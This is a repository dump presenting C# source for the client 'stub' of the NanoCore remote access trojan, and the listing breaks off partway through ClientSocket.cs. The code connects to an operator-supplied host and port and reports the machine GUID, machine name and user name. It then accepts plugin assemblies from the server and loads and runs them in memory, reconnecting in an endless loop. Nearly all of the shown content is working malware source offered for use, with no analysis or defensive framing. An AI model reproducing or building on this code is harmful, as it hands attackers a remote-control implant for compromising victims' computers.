├── Capture.gif ├── stub ├── ClientPlugin.dll ├── CommandType.cs ├── PluginConnect.cs ├── ClientUIHost.cs ├── ClientLoggingHost.cs ├── Program.cs ├── ClientAppHost.cs ├── ClientDataHost.cs ├── ClientNetworkHost.cs ├── ClientReadOnlyNameObjectCollection.cs ├── ClientNameObjectCollection.cs ├── Plugin.cs ├── stub.csproj ├── PluginClient.cs ├── Core.cs ├── PluginManager.cs ├── ClientSocket.cs └── Packet.cs ├── README.md └── NanoCore.sln /Capture.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w1u0u1/NanoCore/HEAD/Capture.gif -------------------------------------------------------------------------------- /stub/ClientPlugin.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w1u0u1/NanoCore/HEAD/stub/ClientPlugin.dll -------------------------------------------------------------------------------- /stub/CommandType.cs: -------------------------------------------------------------------------------- 1 | namespace stub 2 | { 3 | public enum CommandType : byte 4 | { 5 | BaseCommand, 6 | PluginCommand, 7 | FileCommand 8 | } 9 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NanoCore 2 | NanoCore stub source code 3 | ![Screenshot](Capture.gif) 4 | 5 | # basic 6 | vs2019 + net2.0 + c# 7 | 8 | # usage 9 | stub.exe host port 10 | -------------------------------------------------------------------------------- /stub/PluginConnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace stub 4 | { 5 | class PluginConnect 6 | { 7 | public PluginConnect(Guid guid, string string_0, Plugin plugin) 8 | { 9 | this.Guid = guid; 10 | this.string_0 = string_0; 11 | this.Plugin = plugin; 12 | } 13 | 14 | public Guid Guid; 15 | public string string_0; 16 | public Plugin Plugin; 17 | } 18 | } -------------------------------------------------------------------------------- /stub/ClientUIHost.cs: -------------------------------------------------------------------------------- 1 | using NanoCore; 2 | using NanoCore.ClientPluginHost; 3 | 4 | namespace stub 5 | { 6 | class ClientUIHost : IClientUIHost 7 | { 8 | public Plugin Plugin; 9 | 10 | public ClientUIHost(Plugin plugin) 11 | { 12 | this.Plugin = plugin; 13 | } 14 | 15 | public void Invoke(ClientInvokeDelegate method, object state) 16 | { 17 | 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /stub/ClientLoggingHost.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using NanoCore.ClientPluginHost; 3 | 4 | namespace stub 5 | { 6 | class ClientLoggingHost : IClientLoggingHost 7 | { 8 | public Plugin Plugin; 9 | 10 | public ClientLoggingHost(Plugin plugin) 11 | { 12 | Plugin = plugin; 13 | } 14 | 15 | public void LogClientException(Exception ex, string site) 16 | { 17 | 18 | } 19 | 20 | public void LogClientMessage(string message) 21 | { 22 | 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /stub/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | 4 | namespace stub 5 | { 6 | class Program 7 | { 8 | static void Main(string[] args) 9 | { 10 | try 11 | { 12 | string host = args[0]; 13 | ushort port = ushort.Parse(args[1]); 14 | 15 | while (true) 16 | { 17 | Core.Run(host, port); 18 | Core.Wait(); 19 | 20 | Thread.Sleep(3000); 21 | } 22 | } 23 | catch(Exception ex) 24 | { 25 | Console.WriteLine(ex.Message); 26 | } 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /stub/ClientAppHost.cs: -------------------------------------------------------------------------------- 1 | using NanoCore.ClientPluginHost; 2 | 3 | namespace stub 4 | { 5 | class ClientAppHost : IClientAppHost 6 | { 7 | public Plugin Plugin; 8 | 9 | public ClientAppHost(Plugin plugin) 10 | { 11 | Plugin = plugin; 12 | } 13 | 14 | public void Restart() 15 | { 16 | 17 | } 18 | 19 | public void Shutdown() 20 | { 21 | 22 | } 23 | 24 | public void DisableProtection() 25 | { 26 | 27 | } 28 | 29 | public void RestoreProtection() 30 | { 31 | 32 | } 33 | 34 | public void Uninstall() 35 | { 36 | 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /stub/ClientDataHost.cs: -------------------------------------------------------------------------------- 1 | using NanoCore; 2 | using NanoCore.ClientPluginHost; 3 | 4 | namespace stub 5 | { 6 | class ClientDataHost : IClientDataHost 7 | { 8 | public Plugin Plugin; 9 | 10 | public ClientDataHost(Plugin plugin) 11 | { 12 | Plugin = plugin; 13 | } 14 | 15 | public IClientNameObjectCollection Variables 16 | { 17 | get 18 | { 19 | return Core.Variables; 20 | } 21 | } 22 | 23 | public IClientNameObjectCollection ClientSettings 24 | { 25 | get 26 | { 27 | return Core.ClientSettings; 28 | } 29 | } 30 | 31 | public IClientReadOnlyNameObjectCollection BuilderSettings 32 | { 33 | get 34 | { 35 | return Core.BuilderSettings; 36 | } 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /NanoCore.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32228.343 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "stub\stub.csproj", "{89906FDF-DFF0-4D48-B59B-0390F3742E9C}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {89906FDF-DFF0-4D48-B59B-0390F3742E9C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {89906FDF-DFF0-4D48-B59B-0390F3742E9C}.Release|Any CPU.ActiveCfg = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | GlobalSection(ExtensibilityGlobals) = postSolution 21 | SolutionGuid = {4FBFDC94-5FF3-4921-9E58-CBF7AF83D86C} 22 | EndGlobalSection 23 | EndGlobal 24 | -------------------------------------------------------------------------------- /stub/ClientNetworkHost.cs: -------------------------------------------------------------------------------- 1 | using NanoCore.ClientPluginHost; 2 | 3 | namespace stub 4 | { 5 | class ClientNetworkHost : IClientNetworkHost 6 | { 7 | public Plugin Plugin; 8 | 9 | public ClientNetworkHost(Plugin plugin) 10 | { 11 | this.Plugin = plugin; 12 | } 13 | 14 | public bool Connected 15 | { 16 | get 17 | { 18 | return Core.Client.connected; 19 | } 20 | } 21 | 22 | public void ClosePipe(string pipeName) 23 | { 24 | if (Core.Clients.ContainsKey(pipeName)) 25 | { 26 | Core.Clients[pipeName].Close(); 27 | } 28 | } 29 | 30 | public bool PipeExists(string pipeName) 31 | { 32 | return Core.Clients.ContainsKey(pipeName); 33 | } 34 | 35 | public void Disconnect() 36 | { 37 | Core.Client.Close(); 38 | } 39 | 40 | public void SendToServer(string pipeName, bool compress, params object[] @params) 41 | { 42 | if (@params == null) 43 | return; 44 | 45 | ClientSocket client = Core.Client; 46 | if (!string.IsNullOrEmpty(pipeName)) 47 | { 48 | if (!Core.Clients.ContainsKey(pipeName)) 49 | return; 50 | client = Core.Clients[pipeName]; 51 | } 52 | 53 | Core.SendMessage(client, compress, CommandType.BaseCommand, 4, this.Plugin.Guid, @params); 54 | } 55 | 56 | public void AddHostEntry(string host) 57 | { 58 | 59 | } 60 | 61 | public void RebuildHostCache() 62 | { 63 | 64 | } 65 | } 66 | } -------------------------------------------------------------------------------- /stub/ClientReadOnlyNameObjectCollection.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using NanoCore; 3 | 4 | namespace stub 5 | { 6 | public sealed class ClientReadOnlyNameObjectCollection : IClientReadOnlyNameObjectCollection 7 | { 8 | private Dictionary values; 9 | 10 | public ClientReadOnlyNameObjectCollection(Dictionary values) 11 | { 12 | this.values = values; 13 | } 14 | 15 | public object GetValue(string name, object value) 16 | { 17 | object result; 18 | lock (values) 19 | { 20 | if (values.ContainsKey(name)) 21 | result = this.values[name]; 22 | else 23 | result = value; 24 | } 25 | return result; 26 | } 27 | 28 | public void SetValue(string name, object value) 29 | { 30 | lock (values) 31 | { 32 | if (values.ContainsKey(name)) 33 | { 34 | if (values[name].Equals(value)) 35 | return; 36 | 37 | values[name] = value; 38 | } 39 | else 40 | { 41 | values.Add(name, value); 42 | } 43 | } 44 | } 45 | 46 | public bool EntryExists(string name) 47 | { 48 | bool result; 49 | lock (values) 50 | { 51 | result = values.ContainsKey(name); 52 | } 53 | return result; 54 | } 55 | 56 | public KeyValuePair[] GetEntries() 57 | { 58 | KeyValuePair[] result; 59 | lock (values) 60 | { 61 | List> list = new List>(); 62 | foreach (var item in values) 63 | { 64 | list.Add(item); 65 | } 66 | result = list.ToArray(); 67 | } 68 | return result; 69 | } 70 | } 71 | } -------------------------------------------------------------------------------- /stub/ClientNameObjectCollection.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using NanoCore; 3 | 4 | namespace stub 5 | { 6 | public delegate void ValueChanged(string string_0); 7 | 8 | class ClientNameObjectCollection : IClientNameObjectCollection 9 | { 10 | private ValueChanged valueChanged; 11 | private Dictionary values; 12 | 13 | public ClientNameObjectCollection(ValueChanged valueChanged) 14 | { 15 | this.valueChanged = valueChanged; 16 | values = new Dictionary(); 17 | } 18 | 19 | public object GetValue(string name, object value) 20 | { 21 | object result; 22 | lock (values) 23 | { 24 | if (values.ContainsKey(name)) 25 | result = values[name]; 26 | else 27 | result = value; 28 | } 29 | return result; 30 | } 31 | 32 | public void SetValue(string name, object value) 33 | { 34 | lock (values) 35 | { 36 | if (values.ContainsKey(name)) 37 | { 38 | if (values[name].Equals(value)) 39 | return; 40 | 41 | values[name] = value; 42 | } 43 | else 44 | { 45 | values.Add(name, value); 46 | } 47 | } 48 | } 49 | 50 | public void RemoveValue(string name) 51 | { 52 | bool flag = false; 53 | lock (values) 54 | { 55 | if (values.ContainsKey(name)) 56 | { 57 | flag = true; 58 | values.Remove(name); 59 | } 60 | } 61 | 62 | if (flag) 63 | valueChanged?.Invoke(name); 64 | } 65 | 66 | public bool EntryExists(string name) 67 | { 68 | bool result; 69 | lock (values) 70 | { 71 | result = values.ContainsKey(name); 72 | } 73 | return result; 74 | } 75 | 76 | public KeyValuePair[] GetEntries() 77 | { 78 | KeyValuePair[] result; 79 | lock (values) 80 | { 81 | List> list = new List>(); 82 | foreach(var item in values) 83 | { 84 | list.Add(item); 85 | } 86 | result = list.ToArray(); 87 | } 88 | return result; 89 | } 90 | } 91 | } -------------------------------------------------------------------------------- /stub/Plugin.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using NanoCore.ClientPlugin; 3 | 4 | namespace stub 5 | { 6 | class Plugin 7 | { 8 | public string Name; 9 | public Guid Guid; 10 | public IClientData ClientData; 11 | public IClientNetwork ClientNetwork; 12 | public IClientApp ClientApp; 13 | 14 | public Plugin(Guid guid, string name) 15 | { 16 | Guid = guid; 17 | Name = name; 18 | } 19 | 20 | public void VariableChanged(string str) 21 | { 22 | if (ClientData == null) 23 | return; 24 | 25 | ClientData.VariableChanged(str); 26 | } 27 | 28 | public void ClientSettingChanged(string str) 29 | { 30 | if (ClientData == null) 31 | return; 32 | 33 | ClientData.ClientSettingChanged(str); 34 | } 35 | 36 | public void BuildingHostCache() 37 | { 38 | if (ClientNetwork == null) 39 | return; 40 | 41 | ClientNetwork.BuildingHostCache(); 42 | } 43 | 44 | public void ConnectionFailed(string host, ushort port) 45 | { 46 | if (ClientNetwork == null) 47 | return; 48 | 49 | ClientNetwork.ConnectionFailed(host, port); 50 | } 51 | 52 | public void ConnectionStateChanged(bool bool_0) 53 | { 54 | if (ClientNetwork == null) 55 | return; 56 | 57 | ClientNetwork.ConnectionStateChanged(bool_0); 58 | } 59 | 60 | public void PipeCreated(string string_1) 61 | { 62 | if (ClientNetwork == null) 63 | return; 64 | 65 | ClientNetwork.PipeCreated(string_1); 66 | } 67 | 68 | public void PipeClosed(string string_1) 69 | { 70 | if (ClientNetwork == null) 71 | return; 72 | 73 | ClientNetwork.PipeClosed(string_1); 74 | } 75 | 76 | public void ReadPacket(string string_1, object[] object_0) 77 | { 78 | if (ClientNetwork == null) 79 | return; 80 | 81 | ClientNetwork.ReadPacket(string_1, object_0); 82 | } 83 | 84 | public void PluginUninstalling() 85 | { 86 | if (ClientApp == null) 87 | return; 88 | 89 | ClientApp.PluginUninstalling(); 90 | } 91 | 92 | public void ClientUninstalling() 93 | { 94 | if (ClientApp == null) 95 | return; 96 | 97 | ClientApp.ClientUninstalling(); 98 | } 99 | } 100 | 101 | class PluginInfo 102 | { 103 | public DateTime DateTime; 104 | public string string_0; 105 | public Guid Guid; 106 | public bool bool_0; 107 | public byte[] byte_0; 108 | public byte[] byte_1; 109 | public Plugin Plugin; 110 | } 111 | } -------------------------------------------------------------------------------- /stub/stub.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | x86 6 | {89906FDF-DFF0-4D48-B59B-0390F3742E9C} 7 | Exe 8 | Properties 9 | stub 10 | stub 11 | v2.0 12 | 512 13 | 14 | 15 | 16 | 17 | 18 | true 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | full 22 | AnyCPU 23 | 7.3 24 | prompt 25 | 26 | 27 | ..\bin\Release\ 28 | TRACE 29 | true 30 | AnyCPU 31 | 7.3 32 | prompt 33 | 34 | 35 | 36 | .\ClientPlugin.dll 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /stub/PluginClient.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net.Sockets; 3 | 4 | namespace stub 5 | { 6 | class PluginClient 7 | { 8 | public static void HandleClose(ClientSocket client) 9 | { 10 | Plugin plugin = client.PluginConnect.Plugin; 11 | if (plugin != null) 12 | { 13 | try 14 | { 15 | plugin.PipeClosed(client.PluginConnect.string_0); 16 | } 17 | catch { } 18 | } 19 | 20 | if (Core.Client.connected) 21 | Core.Clients.Remove(client.PluginConnect.string_0); 22 | } 23 | 24 | public static void HandleConnect(ClientSocket client, bool connected) 25 | { 26 | Plugin plugin = client.PluginConnect.Plugin; 27 | if (connected) 28 | { 29 | Core.SendMessage(client, true, CommandType.BaseCommand, 2, new object[] 30 | { 31 | client.PluginConnect.string_0, 32 | client.PluginConnect.Guid 33 | }); 34 | 35 | if (plugin != null) 36 | { 37 | try 38 | { 39 | plugin.PipeCreated(client.PluginConnect.string_0); 40 | } 41 | catch { } 42 | } 43 | } 44 | else 45 | HandleClose(client); 46 | } 47 | 48 | private static void HandleException(ClientSocket client, Exception ex) 49 | { 50 | if (ex is SocketException) 51 | { 52 | Console.WriteLine(ex); 53 | HandleClose(client); 54 | } 55 | } 56 | 57 | private static void HandlePacket(ClientSocket client, byte[] bytes) 58 | { 59 | PacketData data = Packet.ReadData(bytes); 60 | 61 | Plugin plugin = client.PluginConnect.Plugin; 62 | if (plugin != null) 63 | { 64 | try 65 | { 66 | plugin.ReadPacket(client.PluginConnect.string_0, data.Buffer); 67 | } 68 | catch { } 69 | } 70 | } 71 | 72 | public static void HandleCommand(PacketData data) 73 | { 74 | switch (data.Command) 75 | { 76 | case 1: 77 | List(); 78 | break; 79 | case 2: 80 | Connect(data.Buffer); 81 | break; 82 | case 4: 83 | ReadMessage(data.Guid, data.Buffer); 84 | break; 85 | case 6: 86 | break; 87 | case 7: 88 | break; 89 | } 90 | } 91 | 92 | public static void List() 93 | { 94 | Core.HostStateChanged(true); 95 | } 96 | 97 | public static void Connect(object[] object_0) 98 | { 99 | string text = (string)object_0[0]; 100 | Guid guid_ = (Guid)object_0[1]; 101 | Guid guid = (Guid)object_0[2]; 102 | 103 | if (Core.Clients.ContainsKey(text)) 104 | return; 105 | 106 | ClientSocket client = new ClientSocket(); 107 | client.HandlePacket = HandlePacket; 108 | client.HandleConnect = HandleConnect; 109 | client.HandleException = HandleException; 110 | 111 | Core.Clients.Add(text, client); 112 | 113 | Plugin plugin = null; 114 | if (!(guid == Guid.Empty)) 115 | plugin = PluginManager.GetPluginData(guid).Plugin; 116 | 117 | client.PluginConnect = new PluginConnect(guid_, text, plugin); 118 | client.Connect(Core.Host, Core.Port); 119 | } 120 | 121 | public static void ReadMessage(Guid guid, object[] obj) 122 | { 123 | PluginInfo pluginData = PluginManager.GetPluginData(guid); 124 | if (pluginData != null) 125 | { 126 | try 127 | { 128 | pluginData.Plugin.ReadPacket(null, obj); 129 | } 130 | catch { } 131 | } 132 | else 133 | throw new Exception(string.Format("No instance of plugin '{0}' could be found.", guid)); 134 | } 135 | 136 | public static void SendMessage(Guid guid, string string_0, string string_1, Version ver) 137 | { 138 | Core.SendMessage(Core.Client, true, CommandType.BaseCommand, 0, new object[] 139 | { 140 | guid, 141 | string_0, 142 | string_1, 143 | ver.ToString() 144 | }); 145 | } 146 | } 147 | } -------------------------------------------------------------------------------- /stub/Core.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Net.Sockets; 5 | using System.Security.Cryptography; 6 | using System.Text; 7 | using System.Threading; 8 | 9 | namespace stub 10 | { 11 | class Core 12 | { 13 | public static Guid Guid = Guid.Empty; 14 | public static string Host = null; 15 | public static ushort Port = 0; 16 | public static string Group = "Default"; 17 | public static string Version = "1.0"; 18 | 19 | public static Dictionary Clients; 20 | public static List PluginInfos; 21 | public static ClientSocket Client; 22 | private static ManualResetEvent manualReset; 23 | 24 | public static ClientNameObjectCollection Variables; 25 | public static ClientNameObjectCollection ClientSettings; 26 | public static ClientReadOnlyNameObjectCollection BuilderSettings; 27 | 28 | public static void Run(string host, ushort port) 29 | { 30 | string text = (string)Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography", "MachineGuid", ""); 31 | if (!string.IsNullOrEmpty(text)) 32 | Guid = new Guid(text); 33 | 34 | manualReset = new ManualResetEvent(false); 35 | 36 | Host = host; 37 | Port = port; 38 | 39 | MD5CryptoServiceProvider md5Provider = new MD5CryptoServiceProvider(); 40 | var md5 = md5Provider.ComputeHash(Encoding.UTF8.GetBytes("zeroalcatraz8219831EF052")); 41 | 42 | var buf = new byte[8]; 43 | Buffer.BlockCopy(md5, 0, buf, 0, buf.Length); 44 | Packet.Init(buf); 45 | 46 | Client = new ClientSocket(); 47 | Client.HandleConnect = HandleConnect; 48 | Client.HandleException = HandleException; 49 | Client.HandlePacket = HandlePacket; 50 | Client.Connect(host, port); 51 | } 52 | 53 | public static void smethod_9() 54 | { 55 | Clients = new Dictionary(); 56 | PluginInfos = new List(); 57 | Variables = new ClientNameObjectCollection(new ValueChanged(VariableChanged)); 58 | ClientSettings = new ClientNameObjectCollection(new ValueChanged(ClientSettingChanged)); 59 | BuilderSettings = new ClientReadOnlyNameObjectCollection(new Dictionary()); 60 | } 61 | 62 | private static void VariableChanged(string str) 63 | { 64 | if (PluginInfos == null) 65 | return; 66 | 67 | foreach (PluginInfo pi in PluginInfos) 68 | { 69 | if (pi.Plugin != null) 70 | { 71 | try 72 | { 73 | pi.Plugin.VariableChanged(str); 74 | } 75 | catch 76 | { 77 | } 78 | } 79 | } 80 | } 81 | 82 | private static void ClientSettingChanged(string str) 83 | { 84 | if (PluginInfos == null) 85 | return; 86 | 87 | foreach (PluginInfo pi in PluginInfos) 88 | { 89 | if (pi.Plugin != null) 90 | { 91 | try 92 | { 93 | pi.Plugin.ClientSettingChanged(str); 94 | } 95 | catch 96 | { 97 | } 98 | } 99 | } 100 | } 101 | 102 | public static void HostStateChanged(bool bool_6) 103 | { 104 | if (PluginInfos != null) 105 | { 106 | foreach (PluginInfo pi in PluginInfos) 107 | { 108 | if (pi.Plugin != null) 109 | { 110 | try 111 | { 112 | pi.Plugin.ConnectionStateChanged(bool_6); 113 | } 114 | catch 115 | { 116 | } 117 | } 118 | } 119 | } 120 | } 121 | 122 | private static void HandleConnect(ClientSocket client, bool bool_6) 123 | { 124 | if (bool_6) 125 | { 126 | PluginClient.SendMessage(Guid, Environment.MachineName + "\\" + Environment.UserName, Group, new Version(Version)); 127 | } 128 | } 129 | 130 | private static void HandleException(ClientSocket client, Exception ex) 131 | { 132 | if (ex is SocketException) 133 | { 134 | manualReset.Set(); 135 | } 136 | Console.WriteLine(ex); 137 | } 138 | 139 | private static void HandlePacket(ClientSocket client, byte[] bytes) 140 | { 141 | PacketData data = Packet.ReadData(bytes); 142 | switch (data.Type) 143 | { 144 | case 0: 145 | PluginClient.HandleCommand(data); 146 | break; 147 | case 1: 148 | PluginManager.HandleCommand(data); 149 | break; 150 | default: 151 | break; 152 | } 153 | } 154 | 155 | public static void SendMessage(ClientSocket client, bool bool_6, CommandType commandType, byte byte_3, object[] obj) 156 | { 157 | Guid guid_ = new Guid(); 158 | byte[] buf = Packet.WriteData(bool_6, (byte)commandType, byte_3, guid_, obj); 159 | client.SendBytes(buf); 160 | } 161 | 162 | public static void SendMessage(ClientSocket client, bool bool_6, CommandType commandType_0, byte byte_3, Guid guid_0, object[] obj) 163 | { 164 | byte[] buf = Packet.WriteData(bool_6, (byte)commandType_0, byte_3, guid_0, obj); 165 | client.SendBytes(buf); 166 | } 167 | 168 | public static void Wait() 169 | { 170 | manualReset.WaitOne(); 171 | } 172 | } 173 | } -------------------------------------------------------------------------------- /stub/PluginManager.cs: -------------------------------------------------------------------------------- 1 | using NanoCore.ClientPlugin; 2 | using NanoCore.ClientPluginHost; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Reflection; 6 | using System.Security.Cryptography; 7 | 8 | namespace stub 9 | { 10 | class PluginManager 11 | { 12 | public static byte[] byte_0; 13 | public static byte[] byte_1; 14 | public static bool bool_0; 15 | 16 | public static byte[] CalcMD5(byte[] buffer) 17 | { 18 | MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider(); 19 | return md5CryptoServiceProvider.ComputeHash(buffer); 20 | } 21 | 22 | public static void HandleCommand(PacketData data) 23 | { 24 | switch (data.Command) 25 | { 26 | case 0: 27 | smethod_1(data.Buffer); 28 | break; 29 | case 1: 30 | smethod_2(data.Buffer); 31 | break; 32 | case 2: 33 | smethod_3(data.Buffer); 34 | break; 35 | case 3: 36 | smethod_4(data.Buffer); 37 | break; 38 | } 39 | } 40 | 41 | public static void smethod_1(object[] buffer) 42 | { 43 | byte[] byte_ = (byte[])buffer[0]; 44 | bool bool_ = byte_1 == null || !smethod_5(byte_0, byte_); 45 | 46 | Core.SendMessage(Core.Client, true, CommandType.PluginCommand, 0, new object[] { bool_ }); 47 | } 48 | 49 | public static void smethod_2(object[] buffer) 50 | { 51 | DateTime dateTime_ = (DateTime)buffer[0]; 52 | byte[] byte_ = (byte[])buffer[1]; 53 | 54 | byte_1 = byte_; 55 | byte_0 = CalcMD5(byte_1); 56 | Core.smethod_9(); 57 | 58 | Core.SendMessage(Core.Client, true, CommandType.PluginCommand, 1, new object[0]); 59 | } 60 | 61 | public static void smethod_3(object[] buffer) 62 | { 63 | try 64 | { 65 | List list = new List(); 66 | List list2 = new List(); 67 | for (int i = 0; i < buffer.Length; i += 3) 68 | { 69 | Guid guid = (Guid)buffer[i]; 70 | byte[] byte_ = (byte[])buffer[i + 1]; 71 | bool flag = (bool)buffer[i + 2]; 72 | list2.Add(guid); 73 | PluginInfo gclass = GetPluginData(guid); 74 | if (gclass == null) 75 | { 76 | list.Add(guid); 77 | } 78 | else 79 | { 80 | if (gclass.bool_0 != flag) 81 | { 82 | gclass.bool_0 = flag; 83 | } 84 | if (!smethod_5(gclass.byte_1, byte_)) 85 | { 86 | list.Add(guid); 87 | bool_0 = true; 88 | } 89 | } 90 | } 91 | 92 | try 93 | { 94 | foreach (PluginInfo pi in Core.PluginInfos) 95 | { 96 | if (!list2.Contains(pi.Guid)) 97 | { 98 | bool_0 = true; 99 | if (pi.bool_0) 100 | { 101 | //Class5.bool_1 = true; 102 | } 103 | if (pi.Plugin != null) 104 | { 105 | try 106 | { 107 | pi.Plugin.PluginUninstalling(); 108 | } 109 | catch (Exception ex) 110 | { 111 | 112 | } 113 | } 114 | } 115 | } 116 | } 117 | finally 118 | { 119 | 120 | } 121 | if (list.Count == 0 && PluginManager.bool_0) 122 | { 123 | 124 | } 125 | else 126 | { 127 | Core.SendMessage(Core.Client, true, CommandType.PluginCommand, 2, list.ToArray()); 128 | } 129 | } 130 | catch (Exception ex) 131 | { 132 | 133 | } 134 | } 135 | 136 | public static void smethod_4(object[] object_0) 137 | { 138 | List list = new List(); 139 | int num = 0; 140 | int num2 = object_0.Length - 1; 141 | for (int i = num; i <= num2; i += 5) 142 | { 143 | PluginInfo gclass = new PluginInfo(); 144 | gclass.Guid = (Guid)object_0[i]; 145 | gclass.DateTime = (DateTime)object_0[i + 1]; 146 | gclass.string_0 = (string)object_0[i + 2]; 147 | gclass.bool_0 = (bool)object_0[i + 3]; 148 | gclass.byte_0 = (byte[])object_0[i + 4]; 149 | gclass.byte_1 = CalcMD5(gclass.byte_0); 150 | Core.PluginInfos.Add(gclass); 151 | list.Add(gclass); 152 | if (gclass.bool_0) 153 | { 154 | //Class5.bool_1 = true; 155 | } 156 | } 157 | if (bool_0) 158 | { 159 | return; 160 | } 161 | try 162 | { 163 | foreach (PluginInfo pi in list) 164 | { 165 | ParsePlugin(pi.byte_0, pi); 166 | } 167 | } 168 | finally 169 | { 170 | 171 | } 172 | Core.SendMessage(Core.Client, true, CommandType.PluginCommand, 3, new object[0]); 173 | } 174 | 175 | static bool smethod_5(byte[] byte_0, byte[] byte_1) 176 | { 177 | if (byte_0.Length != byte_1.Length) 178 | { 179 | return false; 180 | } 181 | int num = 0; 182 | int num2 = byte_1.Length - 1; 183 | for (int i = num; i <= num2; i++) 184 | { 185 | if (byte_0[i] != byte_1[i]) 186 | { 187 | return false; 188 | } 189 | } 190 | return true; 191 | } 192 | 193 | public static PluginInfo GetPluginData(Guid guid) 194 | { 195 | int num = 0; 196 | int num2 = Core.PluginInfos.Count - 1; 197 | for (int i = num; i <= num2; i++) 198 | { 199 | if (Core.PluginInfos[i].Guid == guid) 200 | { 201 | return Core.PluginInfos[i]; 202 | } 203 | } 204 | return null; 205 | } 206 | 207 | static Type GetPluginType(byte[] byte_0, Type[] type_0, Type[] type_1) 208 | { 209 | Assembly assembly = Assembly.Load(byte_0); 210 | foreach (Type type in assembly.GetTypes()) 211 | { 212 | foreach (Type value in type.GetInterfaces()) 213 | { 214 | if (Array.IndexOf(type_0, value) != -1) 215 | { 216 | return type; 217 | } 218 | } 219 | ConstructorInfo[] constructors = type.GetConstructors(); 220 | if (constructors.Length == 1) 221 | { 222 | foreach (ParameterInfo parameterInfo in constructors[0].GetParameters()) 223 | { 224 | if (Array.IndexOf(type_1, parameterInfo.ParameterType) != -1) 225 | { 226 | return type; 227 | } 228 | } 229 | } 230 | } 231 | return null; 232 | } 233 | 234 | static void ParsePlugin(byte[] bytes, PluginInfo pluginData) 235 | { 236 | try 237 | { 238 | Plugin plugin = new Plugin(pluginData.Guid, pluginData.string_0); 239 | pluginData.Plugin = plugin; 240 | Type type = GetPluginType(bytes, new Type[] 241 | { 242 | typeof(IClientNetwork), 243 | typeof(IClientData), 244 | typeof(IClientApp) 245 | }, 246 | new Type[] 247 | { 248 | typeof(IClientDataHost), 249 | typeof(IClientNetworkHost), 250 | typeof(IClientUIHost), 251 | typeof(IClientLoggingHost), 252 | typeof(IClientAppHost) 253 | } 254 | ); 255 | if (type == null) 256 | { 257 | throw new Exception("Client assembly does not meet plugin type requirements."); 258 | } 259 | 260 | List list = new List(); 261 | ConstructorInfo constructorInfo = type.GetConstructors()[0]; 262 | foreach (ParameterInfo parameterInfo in constructorInfo.GetParameters()) 263 | { 264 | if (typeof(IClientDataHost).Equals(parameterInfo.ParameterType)) 265 | { 266 | list.Add(new ClientDataHost(plugin)); 267 | } 268 | else if (typeof(IClientNetworkHost).Equals(parameterInfo.ParameterType)) 269 | { 270 | list.Add(new ClientNetworkHost(plugin)); 271 | } 272 | else if (typeof(IClientUIHost).Equals(parameterInfo.ParameterType)) 273 | { 274 | list.Add(new ClientUIHost(plugin)); 275 | } 276 | else if (typeof(IClientLoggingHost).Equals(parameterInfo.ParameterType)) 277 | { 278 | list.Add(new ClientLoggingHost(plugin)); 279 | } 280 | else if (typeof(IClientAppHost).Equals(parameterInfo.ParameterType)) 281 | { 282 | list.Add(new ClientAppHost(plugin)); 283 | } 284 | else 285 | { 286 | list.Add(null); 287 | } 288 | } 289 | 290 | object instance = Activator.CreateInstance(type, list.ToArray()); 291 | foreach (Type o in type.GetInterfaces()) 292 | { 293 | if (typeof(IClientData).Equals(o)) 294 | { 295 | plugin.ClientData = (IClientData)instance; 296 | } 297 | else if (typeof(IClientNetwork).Equals(o)) 298 | { 299 | plugin.ClientNetwork = (IClientNetwork)instance; 300 | } 301 | else if (typeof(IClientApp).Equals(o)) 302 | { 303 | plugin.ClientApp = (IClientApp)instance; 304 | } 305 | } 306 | 307 | if (!Core.PluginInfos.Contains(pluginData)) 308 | { 309 | Core.PluginInfos.Add(pluginData); 310 | } 311 | } 312 | catch (Exception ex) 313 | { 314 | 315 | } 316 | } 317 | } 318 | } -------------------------------------------------------------------------------- /stub/ClientSocket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Net; 4 | using System.Net.Sockets; 5 | 6 | namespace stub 7 | { 8 | class ClientSocket 9 | { 10 | public delegate void HANDLE_PACKET(ClientSocket client, byte[] bytes); 11 | public delegate void HANDLE_EXCEPTION(ClientSocket client, Exception ex); 